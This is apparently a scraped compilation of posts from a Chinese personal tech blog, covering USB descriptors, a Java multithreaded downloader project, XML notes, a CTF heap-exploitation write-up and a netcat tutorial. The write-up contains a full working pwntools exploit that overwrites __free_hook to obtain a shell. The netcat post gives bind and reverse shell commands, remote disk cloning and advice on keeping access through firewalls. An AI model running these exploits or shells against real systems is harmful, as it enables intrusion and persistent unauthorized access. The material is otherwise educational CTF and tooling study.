WORD idVendor; //厂商编号
WORD idProduct; //产品编号
WORD bcdDevice; //设备出厂编号
BYTE iManufacturer; //描述厂商字符串的索引
BYTE iProduct; //描述产品字符串的索引
BYTE iSerialNumber; //描述设备序列号字符串的索引
BYTE bNumConfiguration; //可能的配置数量
}

  bLength : 描述符大小．固定为0x12．


  bDescriptorType : 设备描述符类型．固定为0x01．


  bcdUSB : USB 规范发布号．表示了本设备能适用于那种协议，如2.0=0200，1.1=0110等．


  bDeviceClass : 类型代码（由USB指定）。当它的值是0时，表示所有接口在配置描述符里，并且所有接口是独立的。当它的值是1到FEH时，表示不同的接口关联的。当它的值是FFH时，它是厂商自己定义的．


  bDeviceSubClass : 子类型代码（由USB分配）．如果bDeviceClass值是0，一定要设置为0．其它情况就跟据USB-IF组织定义的编码．


  bDeviceProtocol : 协议代码（由USB分配）．如果使用USB-IF组织定义的协议，就需要设置这里的值，否则直接设置为0。如果厂商自己定义的可以设置为FFH．

  
    操作系统使用bDeviceClass、bDeviceSubClass和bDeviceProtocol来查找设备的类驱动程序。通常只有  bDeviceClass 设置在设备级别。大多数类规范选择在接口级别标识自己，因此将 bDeviceClass 设置为  0x00。这允许一个设备支持多个类，即USB复合设备。
  


  bMaxPacketSize0 : 端点０最大分组大小（只有8,16,32,64有效）．


  idVendor : 供应商ID（由USB分配）．


  idProduct : 产品ID（由厂商分配）．由供应商ID和产品ID，就可以让操作系统加载不同的驱动程序．


  bcdDevice : 设备出产编码．由厂家自行设置．


  iManufacturer : 厂商描述符字符串索引．索引到对应的字符串描述符． 为０则表示没有．


  iProduct : :产品描述符字符串索引．同上．


  iSerialNumber : 设备序列号字符串索引．同上．


  bNumConfigurations : 可能的配置数．定义设备以当前速度支持的配置数量

获取配置描述符

这之后，主机又向1.7.0发出了获取描述符的请求，这次要获取的是配置描述符

配置描述符定义了设备的配置信息，一个设备可以有多个配置描述符，大部分的USB设备只有一个配置描这符

读取配置描述符时，它会返回整个配置层次结构，其中包括所有相关的接口和端点描述符。wTotalLength字段反映配置描述符层次结构中的字节数

配置描述符在USB设备的枚举过程中，需要获取两次：第一次只获取配置描这符的基本长度9字节，获取后从wTotalLength字节中解析出配置描述符的总长度，然后再次获取全部的描述符

配置描述符结构如下：

struct _CONFIGURATION_DESCRIPTOR_STRUCT
{
BYTE bLength; //配置描述符的字节数大小，固定为0x09
BYTE bDescriptorType; //描述符类型编号，为0x02
WORD wTotalLength; //返回整个数据的长度．指此配置返回的配置描述符，接口描述符以及端点描述符的全部大小
BYTE bNumInterface; //此配置所支持的接口数量
BYTE bConfigurationVale; //Set_Configuration命令需要的参数值
BYTE iConfiguration; //描述该配置的字符串的索引值
BYTE bmAttribute; //供电模式的选择，Bit4-0保留，D7:总线供电，D6:自供电，D5:远程唤醒
BYTE MaxPower; //设备从总线提取的最大电流
}CONFIGURATION_DESCRIPTOR_STRUCT

bLength : 描述符大小．固定为0x09．
bDescriptorType : 配置描述符类型．固定为0x02．
wTotalLength : 返回整个数据的长度．指此配置返回的配置描述符，接口描述符以及端点描述符的全部大小．
bNumInterfaces : 配置所支持的接口数．指该配置配备的接口数量，也表示该配置下接口描述符数量．
bConfigurationValue : 作为Set Configuration的一个参数选择配置值．
iConfiguration : 用于描述该配置字符串描述符的索引．
bmAttributes : 供电模式选择．Bit4-0保留，D7:总线供电，D6:自供电，D5:远程唤醒．
MaxPower : 总线供电的USB设备的最大消耗电流．以2mA为单位．
接口描述符：接口描述符说明了接口所提供的配置，一个配置所拥有的接口数量通过配置描述符的bNumInterfaces决定。

可以看到，1.7.0先是向主机返回了9个字节的配置描述符，并在其中指明了总长度为91

而后主机又向设备发送了对配置描述符的请求，而这次1.7.0返回了91字节的全部配置描述符，里面包括了3个接口描述符，4个端点描述符和3个HID描述符，HID描述符附属的描述符的类型都是HID Report，4个端点为0-3，也就是说我们还有1.7.1-1.7.3可以进行交互，这里就不依次展开截图了

后面还有一些无法解析的包以及三次获取字符串描述符：获取阿米洛自己的名字字符串的包，这里不详述

USBHID

因为我们的设备是键盘，是一种HID设备，所以在完成接入的准备后会有USBHID协议的部分，这里我们继续做分析

首先主机向1.7.0发送了SET_IDLE请求，SET_IDLE请求会使HID设备相关的中断管道（端点）停止定时上报报告数据，直到有新的事件（有效数据）或直到的SET_IDLE时才继续上报报告数据。

HID设备以中断的方向进行上报数据给方机，比如说USB鼠标键盘，当无操作时，设备无须上报给数据给主机。不过USB设备的中断其实是轮询方式的，也就是说无论你是不是上报数据，主机都会发送IN的请求事务，这样会造成USB总线带宽的浪费。

这之后则是请求HID报表描述符了，具体可以看HID报表描述符原理解释，这里就不贴出来了，HID报表描述符主要用来描述符USB HID设备上报的数据信息格式，这里定义了三次。

在定义了数据信息的格式之后，就可以使用中断传输的方式传输HID的信息了。

HID信息传输

鸽了，想做的时候再分析吧（

软工大作业——多线程下载（一）

https://jump-wang-111.github.io/soft1/

一、根据psp表格做出预估

表格中实际耗时由需求完成后进行的统计

PSP 2.1表格

  PSP2.1
  Personal Software Process Stages
  预估耗时（分钟）
  实际耗时（分钟）




  Planning
  计划
  20
  30


  · Estimate
  · 估计这个任务需要多少时间
  20
  30


  Development
  开发
  1630
  2490


  · Analysis
  · 需求分析 (包括学习新技术)
  600
  720


  · Design Spec
  · 生成设计文档
  180
  360


  · Design Review
  · 设计复审 (和同事审核设计文档)
  30
  30


  · Coding Standard
  · 代码规范 (为目前的开发制定合适的规范)
  40
  40


  · Design
  · 具体设计
  120
  260


  · Coding
  · 具体编码
  360
  750


  · Code Review
  · 代码复审
  60
  60


  · Test
  · 测试（自我测试，修改代码，提交修改）
  240
  270


  Reporting
  报告
  140
  260


  · Test Report
  · 测试报告
  80
  200


  · Size Measurement
  · 计算工作量
  20
  20


  · Postmortem & Process Improvement Plan
  · 事后总结, 并提出过程改进计划
  40
  40


   
  合计
  1890
  2780

二、思考与学习

本次项目允许使用的语言为c++、python和java，由于需求尚未完全发布，因此排除掉在大型项目中维护困难的python语言，最终选择使用java完成本项目。

对于本项目存在两个重点，一个是多线程，一个是下载，只要这两个问题解决，问题就迎刃而解了

具体实现时需要考虑到以下问题并搜寻相关资料：

http协议的基本知识，这里不加赘述
通过http协议下载的方法

  通过查阅资料发现，Java可通过httpclient实现通过http协议与网页交互，包括下载上传文件
  参考资料
  参考资料
  参考资料

判断是否可以并发下载的方法

  在请求报文中增加Range标签，即分段请求资源，只请求文件在的Range范围内的字节
  实际上并发下载就是通过这种方式，每个线程求求文件不同的range进行下载，在本地再合成一个文件
  若允许分段请求，则返回206，否则返回200
  具体参见

随机访问文件的方法

  服务器方面，我们通过分段的方式对服务器的文件进行请求，本地方面，我们也需要分段写入，比如请求到的文件第100-200字节，也要写入本地文件的100-200字节才行
  这里用到Java中的RandomAccessFile类
  相关资料
  相关资料

线程池和守护线程的使用

  线程池是用来管理线程的，使线程的创建更加规范，同时将细节交给线程池管理，解放程序员的同时提高了运行效率
  在《阿里巴巴java开发手册》中指出了线程资源必须通过线程池提供
  java线程池类ThreadPoolExecutor
  参考资料
  参考资料
  参考资料

对于并发量的控制

  在多线程的程序中不可避免的就是线程的同步和互斥
  比如开启了8个线程正在处理前8块block，那么后面block的处理就要被阻塞，直到有线程空闲再进行分配
  这里我们采用操作系统中学过的信号量进行控制
  Java有封装好的Semaphore类，使用十分方便

参考前人工作

  为我指明了学习方向
  对应博客

三、内容实现

1、核心思路

用到的主要类的类图如下所示，其中一部分类实际使用时为java自带或者第三方开源库提供，可能与设计的类有所区别

整个代码的核心逻辑用活动图表示，如下所示

2、代码关键步骤

Http操作

使用的是Apache的httpclient包

这里放上分段请求的代码，包括获取文件长度，检查是否支持分段请求都是差不多的写法

// 创建httpclient对象
CloseableHttpClient httpclient;httpclient = HttpClients.createDefault();
// 创建get访问方法的对象
HttpGet httpget = new HttpGet(urL);
// 在请求头中添加Range属性
httpget.addHeader(

XML知识整理

https://jump-wang-111.github.io/XML-knowledge-make/

你是否有很多xml放不下？做人要潇洒一点。喜欢C语言，未必要写它一辈子的。我喜欢html，未必要给它写好看的css。我看不懂xml，难道直接去叫二进制过来，你让我反编译一下。诶，这个好像还真可以。

咳咳，总之，这是一篇简单的关于xml的博客。

总能在各个项目里看到xml的身影，我的印象中xml是个长得和html差不多的玩意，可具体他是什么又说不清楚。于是打算系统学习下xml的相关知识。以及本篇文章不会讨论语法细节，主要围绕作用功能做整理（大概标题可以换成：如何看懂xml？。这篇博客权当是一个学习笔记吧。

概念与本质

XML 指可扩展标记语言（EXtensible Markup Language），是一种用于存储、传输和重建任意数据的标记语言和文件格式。它定义了一组规则，用于以人类可读和机器可读的格式对文档进行编码。万维网联盟 1998年的 XML 1.0 规范和其他几个相关规范——它们都是免费的开放标准——定义了 XML。

以上来自维基百科。

w3school有两句话对我可谓醍醐灌顶，一语惊醒梦中人。

HTML 被设计用来显示数据。
XML 被设计用来传输和存储数据。

基础

xml自我描述

xml可以非常简单的用一个标签描述自己，最常见的应该如下所示：

这句经常出现在文件开头的一行代码表示这个文件是xml文件，版本为1.0，编码方式为UTF-8

XML知识整理

https://jump-wang-111.github.io/XML%E7%9F%A5%E8%AF%86%E6%95%B4%E7%90%86/

咳咳，总之，这是一篇简单的关于xml的博客。

概念与本质

以上来自维基百科。

w3school有两句话对我可谓醍醐灌顶，一语惊醒梦中人。

HTML 被设计用来显示数据。
XML 被设计用来传输和存储数据。

基础

xml自我描述

xml可以非常简单的用一个标签描述自己，最常见的应该如下所示：

这句经常出现在文件开头的一行代码表示这个文件是xml文件，版本为1.0，编码方式为UTF-8

软工大作业——多线程下载（三）

https://jump-wang-111.github.io/soft3/

这篇博客主要是关于这个软件的ui设计的，很简洁，是一些很基础的东西

大概就用这篇水货作为这个大作业项目的博客结尾了

其实我觉得command比ui好用的多，至少在下载这件事上

一、根据psp表格做出预估

表格中实际耗时由需求完成后进行的统计

PSP 2.1表格

  PSP2.1
  Personal Software Process Stages
  预估耗时（分钟）
  实际耗时（分钟）




  Planning
  计划
  20
  30


  · Estimate
  · 估计这个任务需要多少时间
  10
  10


  Development
  开发
  650
  540


  · Analysis
  · 需求分析 (包括学习新技术)
  60
  60


  · Design Spec
  · 生成设计文档
  60
  40


  · Design Review
  · 设计复审 (和同事审核设计文档)
  30
  30


  · Coding Standard
  · 代码规范 (为目前的开发制定合适的规范)
  20
  20


  · Design
  · 具体设计
  60
  70


  · Coding
  · 具体编码
  360
  240


  · Code Review
  · 代码复审
  20
  20


  · Test
  · 测试（自我测试，修改代码，提交修改）
  40
  60


  Reporting
  报告
  120
  140


  · Test Report
  · 测试报告
  60
  80


  · Size Measurement
  · 计算工作量
  20
  20


  · Postmortem & Process Improvement Plan
  · 事后总结, 并提出过程改进计划
  40
  40


   
  合计
  790
  710

二、思考与学习

这次新增的需求如下所示：

第3阶段用户界面

目前的下载助手只有命令行版本，使用起来不是很方便，可以给用户提供GUI（图形用户界面）。至少提供三个功能：

添加下载链接：单个或多个、批量生成
可自动从系统剪贴板得到下载链接
下载设置：包括并发数、输出位置，并可保存设置信息，在下次启动应用时可自动加载

也就是说，要我们设计一个ui，将原来的麻烦的命令行转变为易于操作的图形界面

而内里对链接处理的逻辑和我们之前在命令行模式的处理是几乎相同的，只要迁移过来就可以了

三、内容实现

既然主要是做ui，我们还是说些和ui有关的内容

1、核心思路

我们采用javafx的图形化技术制作我们的ui界面

关于javafx的基础知识这里不作介绍，想要了解的请出门直奔金旭亮老师的ppt，详细又清晰

首先根据我们的要求设计一下界面原型：

我的想法是这样子的，在要现有需求的基础上，

首先我们必须允许用户自行指定线程数和缓存位置，于是要有线程数和保存位置
但是用户有可能懒得做这么多设置，考虑到方便性，这两个位置需要有默认值
同时我们允许用户同时输入多个链接，那么我们的链接就需要一个Area文本框，同时支持从剪贴板获取
我们允许用户从文件读取链接或者使用torrent文件，我们还要有个输入文件框
为了方便用户使用，我们的文件选择都允许调用资源管理器，也允许手动输入
如果勾选生成链接，我们会在后台尝试下载与输入类似的链接
为了使用户有下载的实质感，我们还需要有速度和进度的显示

2、具体实现

（1）界面设计

得益于SceneBuilder的强大功能，我们可以直接通过拖动、双击等图形化的方式来设计这个图形化界面，并自动生成对应的fxml文档，可以看到，我们通过拖放UI控件，就可以简单组合出我们要的图形界面，最终界面如下所示：

（2）文件选择

这是javafx提供的文件选择器，使用非常简单

我在本软件中分别用到了 FileChooser以及DirectoryChooser，分别用来选择输入的文件，和输出的文件夹

在 FileChooser中我们对输入文件的格式做出了限制，以防止用户的未知领域操作，txt输入链接，torrent文件输入种子文件：

FileChooser chooser = new FileChooser();
chooser.getExtensionFilters().addAll(
new FileChooser.ExtensionFilter(

东华杯-pwn-cpp1

https://jump-wang-111.github.io/dh_cpp1/

从自己的csdn搬来的，还带着水印，懒得弄了（）

前一阵子东华杯的pwn题，比赛时候没做出来，说起来那时候我才刚学到fastbin attack，天天在和libc2.23打交道，比赛的时候时候看见libc全是2.31的……孩子人都傻了，遂去misc划水。。。（r n m,退钱！）

现在终于看了tcache，寻思试一下之前的赛题，于是有了这篇博客，做起来发现，好像并没有那么难？

我本地的环境就是2.31的，所以就在本地尝试复现了一下，文件已经传到了网盘，想复现的师傅们可以在这里下载
提取码：xymi

分析
main函数如下

菜单

new
new中允许自定义index（0 <= index <= 16）和size（size < 0xff），并不填充内容

change
漏洞点在这里，change中指定index填充内容，但是不对内容长度做检查，存在堆溢出，其中cin会在字符串末尾自动添加’\0’，可以off-by-null

show
show可以打印堆块内容，可以用来泄露

delete

利用
通过利用tcache的不严谨和off-by-null，我们可以制造出double free的情况，在此基础上，将特定大小的tcache填充满（一般是七个）之后【这里是绕过tcache】，新free的small bin大小的堆块将会首先被放到unsorted bin中，利用unsorted bin的双向循环链表的特性，当其中只有一个堆块时，它的fd和bk指针都会指向链表头也就是unsorted bin，此时就可以通过show来泄露libc基址
然后就是非常简单的了，利用堆溢出修改tcache链表中的fd指针，就可以申请到__free_hook，通过change修改成system，，再向可控堆块内写入’/bin/sh\x00’，就大功告成了
这里不得不说，tcache的检查实在是太松散了，连堆块大小都不检查的，比fastbin舒服多了（）

详解
首先申请五个堆块
这里chunk0的作用是让chunk1的用户操作段起始地址（即chunk1+0x10）末位为’\x00’，方便一会off-by-null，以后也不会再用到，index就申请为16了
new(b'16', b'48') # chunk0
new(b'0', b'144') # chunk1
new(b'1', b'16') # chunk2
new(b'2', b'16') # chunk3
new(b'3', b'16') # chunk4

删除index 2、1，
此时 tcache -> chunk2 -> chunk3 -> null
delete(b'2')
delete(b'1')

off-by-null 部分写chunk2的fd
此时tcache -> chunk2 -> chunk1
change(b'0', b'\x00' * 0x98 + p64(0x21))

再连续申请两次，构造出double free，tcache清空

double free idx 0 and idx 5

new(b'4', b'16') # chunk2
new(b'5', b'16') # chunk1

塞满tcache
tcache -> index6 -> 7 ->8 -> 9 -> 10 -> 11 -> 12
new(b'6', b'144')
new(b'7', b'144')
new(b'8', b'144')
new(b'9', b'144')
new(b'10', b'144')
new(b'11', b'144')
new(b'12', b'144')

delete(b'12')
delete(b'11')
delete(b'10')
delete(b'9')
delete(b'8')
delete(b'7')
delete(b'6')

泄露libc
delete(b'0')
show(b'5')
main_arena = u64(io.recvline()[:-1].ljust(8, b'\x00'))
print('main_arena -> ' + hex(main_arena))

libc_addr = main_arena - 0x1ebb80 - 96
print('libc_addr -> ' + hex(libc_addr))

申请到__free_hook
先改tcache为
tchche -> 6 -> __free_hook
再连续申请两次
hook = libc.symbols['__free_hook'] + libc_addr
sys = libc.symbols['system'] + libc_addr

change(b'3', p64(0) * 3 + p64(0xa1) + p64(hook))

申请到free_hook的地址

new(b'6', b'144')
new(b'7', b'144')

getshell
change(b'7', p64(sys))
change(b'6', b'/bin/sh\x00')

delete(b'6')

完整exp
from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')

io = process('./dh_pwn')

gdb.attach(io)

elf = ELF('./dh_pwn')
libc = ELF('./libc.so.6')

def new(idx, size):
io.recvuntil(b'>>\n')
io.sendline(b'1')
io.recvuntil(b'I:>>\n')
io.sendline(idx)
io.recvuntil(b'S:>>\n')
io.sendline(size)

def change(idx, content):
io.recvuntil(b'>>\n')
io.sendline(b'2')
io.recvuntil(b'I:>>\n')
io.sendline(idx)
io.recvuntil(b'V:>>\n')
io.sendline(content)

def show(idx):
io.recvuntil(b'>>\n')
io.sendline(b'3')
io.recvuntil(b'I:>>\n')
io.sendline(idx)

def delete(idx):
io.recvuntil(b'>>\n')
io.sendline(b'4')
io.recvuntil(b'I:>>\n')
io.sendline(idx)

new(b'16', b'48') # chunk0
new(b'0', b'144') # chunk1
new(b'1', b'16') # chunk2
new(b'2', b'16') # chunk3
new(b'3', b'16') # chunk4

delete(b'2')
delete(b'1')
change(b'0', b'\x00' * 0x98 + p64(0x21))

double free idx 0 and idx 5

new(b'4', b'16') # chunk2
new(b'5', b'16') # chunk1

new(b'6', b'144')
new(b'7', b'144')
new(b'8', b'144')
new(b'9', b'144')
new(b'10', b'144')
new(b'11', b'144')
new(b'12', b'144')

delete(b'12')
delete(b'11')
delete(b'10')
delete(b'9')
delete(b'8')
delete(b'7')
delete(b'6')

delete(b'0')
show(b'5')
main_arena = u64(io.recvline()[:-1].ljust(8, b'\x00'))
print('main_arena -> ' + hex(main_arena))

libc_addr = main_arena - 0x1ebb80 - 96
print('libc_addr -> ' + hex(libc_addr))

hook = libc.symbols['__free_hook'] + libc_addr
sys = libc.symbols['system'] + libc_addr

change(b'3', p64(0) * 3 + p64(0xa1) + p64(hook))

申请到free_hook的地址

new(b'6', b'144')
new(b'7', b'144')

onegad = libc_addr + 0xe6e76

change(b'7', p64(sys))
change(b'6', b'/bin/sh\x00')

delete(b'6')

io.interactive()

nc、ncat使用

https://jump-wang-111.github.io/nc/

natcat

[v1.10-41.1+b1]
connect to somewhere: nc [-options] hostname port[s] [ports] …
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e’; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. ‘ftp-data’).

可用于电子取证

实际上是传输文本的能力，可以用于聊天、从被取证对象上收集信息

pc1：监听4444端口

nc -l -p 4444


pc2：连接目标网址的4444端口

nc -nv 10.139.21.74 4444



传输文件

A等B连上并将发送的数据存到1.mp4

A：

nc -lp 4444 > 1.mp4


B：

nc -nv 1.1.1.1 4444 < 1.mp4 -q 1


-q 1 表示发送完1s自动关闭

A等B连上一连上就向B发送mp4

A:

nc -lp 4444 < 1.mp4 -q 1


B:

nc -nv 1.1.1.1 4444



传输目录

A:

tar -cvf -music/ | nc -lp 4444 -q 1


B:

nc -nv 1.1.1.1 4444 | tar -xvf -



传输加密文件（使用mcrypt命令）

A:

nc -lp 4444 | mcrypt -flush -Fbqd -a rijndael-256 -m ecb > 1.mp4


B:

mcrypt -flush -Fbq -a rijndael-256 -m ecb < 1.mp4 | nc -nv 1.1.1.1 4444 -q 1



流媒体服务器

A:

cat 1.mp4 | nc -lp 4444


B:

nc -nv 1.1.1.1 4444 | mplayer -vo xll -cache 3000 -



端口扫描

-z：扫描模式，探测端口状态

nc -nvz 1.1.1.1 1-65535


-u：nc默认扫描tcp，扫描udp需要使用-u

nc -vnzu 1.1.1.1 1-1024


但我在尝试的时候发现nc多个端口并没有任何回显，不知道是什么原因


远程克隆硬盘

nc还是只起到传输的作用，关键在于dd命令，会原原本本的复制硬盘，复制每一个1和0，包括已删除的部分

nc -lp 4444 | dd of=/dev/sda

dd if=/dev/sda | nc -nv 1.1.1.1 4444 -q 1

运程控制

	在成功通过漏洞进入目标主机后，可以通过这种方式继续保持连接，比如设置脚本在每次开机的时候使用。尤其是反向连接用处很大。

	因为服务器基本上都配置了防火墙，像很多防护做的不太好的网络管理员也会在防火墙上将由外向内的陌生端口访问全部禁掉。比如只开放80端口，443端口之类的，这种情况下想要在目标主机开放一个端口等待连接，我们基本上是连接不上的（被防火墙过滤）。但是由内向外的访问这些防火墙不会阻止，反向连接就有了用场。

	有些防护意识很好的管理员会禁用一些由内向外的访问的端口，但是像常用的端口也不会进行拦截，比如DNS解析用的53端口，我们就可以开放53端口等待连接。

	如果是跑业务的服务器，向外的所有端口都被禁止了，那就没办法了。


  
    正向

    A：

    nc -lp 4444  -c bash
    

    B:

    nc 1.1.1.1 4444
    
  
  
    反向

    A:

    nc -lp 4444
    

    B:

    nc 1.1.1.1 4444 -c bash
    

    nc是跨平台的，windows这里将bash换为cmd

ncat

nc的缺点：

明文传输，缺乏加密能力，可能遭受到嗅探、中间人的挟持等等等
缺乏身份验证的能力，打开的端口可以被所有人控制，我们留下的通道其他黑客也能使用

ncat是nmap内包含的一个工具，是为了弥补nc的缺陷被开发出来的，使用ncat进行信息传输，传输的管道本身是被加密的

A（被控端）：

--allow是指定一个ip，允许这个ip连接

ncat -c bash --allow 1.1.1.1 -vnl 4444 --ssl

B：

ncat -nv 1.1.1.1 4444 --ssl

test

测试一下评论！

jump-wang-111 / jump-wang-111.github.io Goto Github PK

jump-wang-111.github.io's People

Contributors

jump-wang-111.github.io's Issues

-t指定线程数 -x指定字典的级别[smlxu逐级加强] -d显示ipv6 -4显示ipv4

-o为导出

lifetime为超时时间 -t指定类型 -D指定字典

double free idx 0 and idx 5

申请到free_hook的地址

gdb.attach(io)

double free idx 0 and idx 5

申请到free_hook的地址

onegad = libc_addr + 0xe6e76

Recommend Projects

Recommend Topics

Recommend Org